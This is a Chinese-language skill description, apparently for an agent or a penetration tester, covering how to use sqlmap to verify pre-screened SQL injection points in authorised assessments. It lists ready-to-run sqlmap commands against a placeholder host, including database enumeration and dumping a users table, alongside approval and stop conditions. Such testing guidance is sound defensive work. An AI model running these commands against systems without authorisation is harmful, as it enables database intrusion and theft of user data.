用途:该技能用于经授权的 Web 与 API 安全评估中,对已人工初筛的可疑 SQL 注入点进行受控验证,并可在复测与收尾阶段重复使用同一验证路径。
主要能力:以保守设置验证指定参数或已保存请求,支持 GET 参数、POST 参数、Cookie 认证请求以及从 Burp 等工具导出的请求文件回放;在确认为注入后,可按需枚举数据库或导出指定表。
使用方式:从最低风险与最低等级设置开始,仅验证已人工初筛的特定参数或请求,保持自动化行为范围小、可观察,一旦达到约定的确认标准即停止。必要命令保持原样,例如: sqlmap -u 'https://portal.contoso.com/item?id=1' --batch --level 1 --risk 1 sqlmap -r request.txt --batch --level 1 --risk 1 sqlmap -u 'https://portal.contoso.com/item?id=1' --cookie='session=<token>' --batch sqlmap -u 'https://portal.contoso.com/search' --data='query=test&cat=1' --batch sqlmap -u 'https://portal.contoso.com/item?id=1' --dbs --batch sqlmap -u 'https://portal.contoso.com/item?id=1' -D appdb -T users --dump --batch sqlmap -u 'https://portal.contoso.com/item?id=1' --dbms=mssql --batch --level 1 --risk 1
适用场景:需要以最低安全设置验证可能的 SQL 注入问题、复现已初筛的注入候选项,或在受控复测中回放捕获的请求。
限制:问题未经人工初筛时不应使用;数据提取或改变状态的行为须经明确批准;未获书面批准不得升级到数据导出或破坏性选项;若应用出现不稳定或非预期状态变化须立即停止。使用前需具备已确认的目标 URL 或捕获请求文件、可疑参数与认证上下文、已批准的影响上限与停止条件。以上信息均依据所提供资料,价格与平台等未提供。